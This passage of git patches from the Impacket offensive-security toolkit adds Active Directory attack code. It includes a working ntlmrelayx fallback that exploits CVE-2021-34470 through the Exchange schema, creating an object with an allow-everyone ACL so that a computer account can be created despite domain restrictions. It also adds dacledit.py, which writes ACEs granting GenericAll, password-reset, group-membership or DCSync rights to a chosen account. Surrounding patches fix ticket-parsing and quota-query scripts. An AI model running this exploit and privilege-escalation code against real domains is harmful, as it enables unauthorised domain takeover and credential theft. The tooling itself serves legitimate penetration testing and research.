self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, + self.__aesKey, kdcHost=self.__kdcHost) + else: + raise + + logging.info('Querying %s for information about domain.' % self.__target) + + # Building the search filter + searchFilter = "(objectClass=*)" + attributes = ['ms-DS-MachineAccountQuota'] + + try: + result = ldapConnection.search(searchFilter=searchFilter, attributes=attributes) + for item in result: + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + continue + machineAccountQuota = 0 + for attribute in item['attributes']: + if str(attribute['type']) == 'ms-DS-MachineAccountQuota': + machineAccountQuota = attribute['vals'][0] + logging.info('MachineAccountQuota: %d' % machineAccountQuota) + + except ldap.LDAPSearchError: + raise + + ldapConnection.close() + +if __name__ == '__main__': + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description='Retrieve the machine account quota value from the domain.') + + parser.add_argument('target', action='store', help='domain/username[:password]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action='store_true', help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action='store_true', + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action='store', metavar='hex key', help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'omitted it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass('Password:') + + try: + execute = GetMachineAccountQuota(username, password, domain, options) + execute.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + print((str(e))) From 05fd7320f3b7c2866facc068d9008b81b36aa645 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Mon, 21 Mar 2022 11:50:23 +0100 Subject: [PATCH 097/163] Fixing SID and UAC flags parsing --- examples/describeTicket.py | 127 +++++++++++++++++++++++-------------- 1 file changed, 79 insertions(+), 48 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 5e062a1b5..ce25ee2db 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -28,7 +28,7 @@ from pyasn1.codec.der import decoder from impacket import version -from impacket.dcerpc.v5.dtypes import FILETIME +from impacket.dcerpc.v5.dtypes import FILETIME, PRPC_SID from impacket.dcerpc.v5.rpcrt import TypeSerialization1 from impacket.examples import logger from impacket.krb5 import constants, pac @@ -37,12 +37,45 @@ from impacket.krb5.constants import ChecksumTypes from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +PSID = PRPC_SID class User_Flags(Enum): LOGON_EXTRA_SIDS = 0x0020 LOGON_RESOURCE_GROUPS = 0x0200 -class UserAccountControl_Flags(Enum): +# 2.2.1.10 SE_GROUP Attributes +class SE_GROUP_Attributes(Enum): + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_ENABLED = 0x00000004 + +# 2.2.1.12 USER_ACCOUNT Codes +class USER_ACCOUNT_Codes(Enum): + USER_ACCOUNT_DISABLED = 0x00000001 + USER_HOME_DIRECTORY_REQUIRED = 0x00000002 + USER_PASSWORD_NOT_REQUIRED = 0x00000004 + USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008 + USER_NORMAL_ACCOUNT = 0x00000010 + USER_MNS_LOGON_ACCOUNT = 0x00000020 + USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040 + USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080 + USER_SERVER_TRUST_ACCOUNT = 0x00000100 + USER_DONT_EXPIRE_PASSWORD = 0x00000200 + USER_ACCOUNT_AUTO_LOCKED = 0x00000400 + USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800 + USER_SMARTCARD_REQUIRED = 0x00001000 + USER_TRUSTED_FOR_DELEGATION = 0x00002000 + USER_NOT_DELEGATED = 0x00004000 + USER_USE_DES_KEY_ONLY = 0x00008000 + USER_DONT_REQUIRE_PREAUTH = 0x00010000 + USER_PASSWORD_EXPIRED = 0x00020000 + USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000 + USER_NO_AUTH_DATA_REQUIRED = 0x00080000 + USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000 + USER_USE_AES_KEYS = 0x00200000 + +# 2.2.1.13 UF_FLAG Codes +class UF_FLAG_Codes(Enum): UF_SCRIPT = 0x00000001 UF_ACCOUNTDISABLE = 0x00000002 UF_HOMEDIR_REQUIRED = 0x00000008 @@ -189,11 +222,6 @@ def parse_ccache(args): def parse_pac(pacType, args): - - def format_sid(data): - return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) - - def PACparseFILETIME(data): # FILETIME structure (minwinbase.h) # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). @@ -220,27 +248,6 @@ def PACparseGroupIds(data): return groups - def PACparseSID(sid): - if type(sid) == dict: - str_sid = format_sid({ - 'Revision': sid['Revision'], - 'SubAuthorityCount': sid['SubAuthorityCount'], - 'IdentifierAuthority': int(binascii.hexlify(sid['IdentifierAuthority']), 16), - 'SubAuthority': sid['SubAuthority'] - }) - return str_sid - else: - return '' - - - def PACparseExtraSids(sid_and_attributes_array): - _ExtraSids = [] - for sid in sid_and_attributes_array['Data']: - _d = { 'Attributes': sid['Attributes'], 'Sid': PACparseSID(sid['Sid']) } - _ExtraSids.append(_d['Sid']) - return _ExtraSids - - parsed_tuPAC = [] buff = pacType['Buffers'] @@ -260,8 +267,8 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata['LastFailedILogon']) parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] parsed_data['Account Name'] = kerbdata['EffectiveName'] parsed_data['Full Name'] = kerbdata['FullName'] @@ -275,6 +282,8 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] parsed_data['Group Count'] = kerbdata['GroupCount'] parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])]) + + # UserFlags parsing UserFlags = kerbdata['UserFlags'] User_Flags_Flags = [] for flag in User_Flags: @@ -284,16 +293,40 @@ def PACparseExtraSids(sid_and_attributes_array): parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') parsed_data['Logon Server'] = kerbdata['LogonServer'] parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] - parsed_data['Logon Domain SID'] = PACparseSID(kerbdata['LogonDomainId']) + + # LogonDomainId parsing + if kerbdata['LogonDomainId'] == b'': + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'] + else: + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'].formatCanonical() + + # UserAccountControl parsing UAC = kerbdata['UserAccountControl'] UAC_Flags = [] - for flag in UserAccountControl_Flags: + for flag in USER_ACCOUNT_Codes: if UAC & flag.value: UAC_Flags.append(flag.name) parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) parsed_data['Extra SID Count'] = kerbdata['SidCount'] - parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) - parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) + extraSids = [] + + # ExtraSids parsing + for extraSid in kerbdata['ExtraSids']: + sid = extraSid['Sid'].formatCanonical() + attributes = extraSid['Attributes'] + attributes_flags = [] + for flag in SE_GROUP_Attributes: + if attributes & flag.value: + attributes_flags.append(flag.name) + extraSids.append("%s (%s)" % (sid, ', '.join(attributes_flags))) + parsed_data['Extra SIDs'] = ', '.join(extraSids) + + # ResourceGroupDomainSid parsing + if kerbdata['ResourceGroupDomainSid'] == b'': + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'] + else: + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'].formatCanonical() + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') @@ -306,27 +339,25 @@ def PACparseExtraSids(sid_and_attributes_array): clientInfo.fromString(data) parsed_data = {} try: - parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) - except Exception as e: - logging.debug(e) - logging.debug("Trying to parse the value with another method") + parsed_data['Client Id'] = PACparseFILETIME(clientInfo['ClientId']) + except: try: parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) except Exception as e: logging.error(e) - parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') + parsed_data['Client Name'] = clientInfo['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: upn = pac.UPN_DNS_INFO(data) - UpnLength = upn.fields['UpnLength'] - UpnOffset = upn.fields['UpnOffset'] + UpnLength = upn['UpnLength'] + UpnOffset = upn['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') - DnsDomainNameLength = upn.fields['DnsDomainNameLength'] - DnsDomainNameOffset = upn.fields['DnsDomainNameOffset'] + DnsDomainNameLength = upn['DnsDomainNameLength'] + DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') parsed_data = {} - parsed_data['Flags'] = upn.fields['Flags'] + parsed_data['Flags'] = upn['Flags'] parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) @@ -334,16 +365,16 @@ def PACparseExtraSids(sid_and_attributes_array): elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name - parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') parsed_tuPAC.append({"ServerChecksum": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name # signatureData.dump() - parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') parsed_tuPAC.append({"KDCChecksum": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: From 9fce194bb0fc4b370201c8abc6ac7d83e544d07a Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Mon, 14 Mar 2022 23:25:45 +0100 Subject: [PATCH 098/163] LDAP attack: bypass computer creation restrictions with CVE-2021-34470 --- .../examples/ntlmrelayx/attacks/ldapattack.py | 95 ++++++++++++++++--- 1 file changed, 83 insertions(+), 12 deletions(-) diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 9b16ee872..fcaddee36 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -24,7 +24,7 @@ import re import ldap3 import ldapdomaindump -from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM +from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM, RESULT_INSUFFICIENT_ACCESS_RIGHTS from ldap3.protocol.microsoft import security_descriptor_control from ldap3.protocol.formatters.formatters import format_sid from ldap3.utils.conv import escape_filter_chars @@ -55,6 +55,7 @@ alreadyEscalated = False alreadyAddedComputer = False delegatePerformed = [] +triedMsExchStorageGroup = False #gMSA structure class MSDS_MANAGEDPASSWORD_BLOB(Structure): @@ -124,7 +125,11 @@ def addComputer(self, parent, domainDumper): global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') - return + return False + + if not self.client.server.ssl: + LOG.error('Adding an account to the domain requires TLS. Switch target to LDAPS') + return False # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) @@ -141,7 +146,7 @@ def addComputer(self, parent, domainDumper): newComputer = computerName if computerName.endswith('$') else computerName + '$' computerHostname = newComputer[:-1] - newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') + newComputerDn = 'CN=%s,%s' % (computerHostname, parent) # Default computer SPNs spns = [ @@ -159,20 +164,86 @@ def addComputer(self, parent, domainDumper): } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) - res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) - if not res: - # Adding computers requires LDAPS - if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: - LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') - else: - LOG.error('Failed to add a new computer: %s' % str(self.client.result)) - return False - else: + res = self.client.add(newComputerDn, ['top','person','organizationalPerson','user','computer'], ucd) + if res: LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer + LOG.error('Failed to add a new computer: %s' % str(self.client.result)) + + # If error is RESULT_INSUFFICIENT_ACCESS_RIGHTS or an exceeded Machine Account Quota, and if we're relaying a machine account, + # we can try exploiting the exchange schema vuln (CVE-2021-34470, credits to James Forshaw) to bypass these restrictions + if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: + error_code = int(self.client.result['message'].split(':')[0].strip(), 16) + if error_code != 0x216D: + return False + elif self.client.result['result'] != RESULT_INSUFFICIENT_ACCESS_RIGHTS: + return False + + global triedMsExchStorageGroup + if triedMsExchStorageGroup: + return False + + if not self.username.endswith('$'): + LOG.error('Relaying a user account so we cannot exploit CVE-2021-34470 to bypass machine account creation restrictions. Try relaying a computer account') + return False + + LOG.info('Fallback: attempting to exploit CVE-2021-34470 (vulnerable Exchange schema)') + LOG.info('Checking if `msExchStorageGroup` object exists within the schema and is vulnerable') + + res = self.client.search(self.client.server.info.other['schemaNamingContext'][0], '(cn=ms-Exch-Storage-Group)', + search_scope=ldap3.LEVEL, attributes=['possSuperiors']) + + if not res: + LOG.error('Object `msExchStorageGroup` does not exist within the schema, Exchange is probably not installed') + triedMsExchStorageGroup = True + return False + + if 'computer' not in self.client.response[0]['attributes']['possSuperiors']: + LOG.error('Object `msExchStorageGroup` not vulnerable, was probably patched') + triedMsExchStorageGroup = True + return False + + LOG.info('Object `msExchStorageGroup` exists and is vulnerable!') + + result = self.getUserInfo(domainDumper, self.username) + if not result: + LOG.error("Could not find relayed computer in target DC's domain. Is this a cross-domain relay?") + return False + + ACL_ALLOW_EVERYONE_EVERYTHING = b'\x01\x00\x04\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\n\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00' + relayed_dn = result[0] + mESG_name = ''.join(random.choice(string.ascii_uppercase) for _ in range(8)) + mESG_dn = ('CN=%s,%s' % (mESG_name, relayed_dn)) + + LOG.info('Attempting to add new `msExchStorageGroup` object `%s` under `%s`' % (mESG_name, relayed_dn)) + res = self.client.add(mESG_dn, ['top', 'container', 'msExchStorageGroup'], + {'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING}, controls=security_descriptor_control(sdflags=0x04)) + + # Only try to add an `msExchStorageGroup` object once, to not fill the domain with these in case of unexpected errors + triedMsExchStorageGroup = True + + if not res: + LOG.error('Failed to add `msExchStorageGroup` object: %s' % str(self.client.result)) + return False + + LOG.info('Added `msExchStorageGroup` object at `%s`. DON\'T FORGET TO CLEANUP' % mESG_dn) + + newComputerDn = 'CN=%s,%s' % (computerHostname, mESG_dn) + LOG.info('Attempting to create computer in `%s`', mESG_dn) + res = self.client.add(newComputerDn, ['top','person','organizationalPerson','user','computer'], ucd) + + if not res: + LOG.error('Failed to add a new computer: %s' % str(self.client.result)) + return False + + LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) + alreadyAddedComputer = True + # Return the SAM name + return newComputer + def addUser(self, parent, domainDumper): """ Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can From 16c4dfe2f985a0d84e24343fdf596fea602adef0 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 31 Mar 2022 18:56:44 +0200 Subject: [PATCH 099/163] Laying ground --- examples/dacledit.py | 467 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 467 insertions(+) create mode 100644 examples/dacledit.py diff --git a/examples/dacledit.py b/examples/dacledit.py new file mode 100644 index 000000000..ba3ae7dbe --- /dev/null +++ b/examples/dacledit.py @@ -0,0 +1,467 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Charlie Bromberg (@_nwodtuhs) +# @BlWasp_ +# + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from enum import Enum +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control +from impacket.uuid import string_to_bin, bin_to_string + +class RIGHTS_GUID(Enum): + DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" + RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + + +# Create an ALLOW ACE with the specified sid +def create_access_allowed_ace(access_mask, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = access_mask + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + +# Create an object ACE with the specified privguid and our sid +def create_access_allowed_object_ace(privguid, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + acedata['ObjectType'] = string_to_bin(privguid) + acedata['InheritedObjectType'] = b'' + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + assert sid == acedata['Sid'].formatCanonical() + acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + nace['Ace'] = acedata + return nace + +class DACLedit(object): + """docstring for setrbcd""" + + def __init__(self, ldap_server, ldap_session, target_account): + super(DACLedit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + self.controlled_account = None + self.controlled_account_sid = None + self.target_account = target_account + self.target_principal = None + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + def read(self): + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. + # for ace in secDesc['Dacl']['Data']: + # print(ace) + except IndexError: + logging.error('Principal not found in LDAP: %s' % self.target_account) + return False + return + + def write(self, controlled_account, rights, rights_guid): + self.controlled_account = controlled_account + result = self.get_user_info(self.controlled_account) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.controlled_account_sid = str(result[1]) + logging.debug("Controlled account SID: %s" % self.controlled_account_sid) + + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + except IndexError: + logging.error('Principal not found in LDAP: %s' % self.target_account) + return False + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + if rights == "GenericAll" and rights_guid is None: + logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.controlled_account_sid, self.target_account)) + # todo check if rights already there, not changing if they are + secDesc['Dacl']['Data'].append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.controlled_account_sid)) + pass + else: + rights_guids = [] + if rights_guid is not None: + rights_guids = [ rights_guid ] + elif rights == "WriteMembers": + rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] + elif rights == "ResetPassword": + rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] + elif rights == "DCSync": + rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, + RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] + for rights_guid in rights_guids: + # todo check if rights already there, not changing if they are + logging.info("Appending ACE (%s --(%s)--> %s)" % (self.controlled_account_sid, rights_guid.name, self.target_account)) + secDesc['Dacl']['Data'].append(create_access_allowed_object_ace(rights_guid.value, self.controlled_account_sid)) + dn = self.target_principal.entry_dn + data = secDesc.getData() + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + 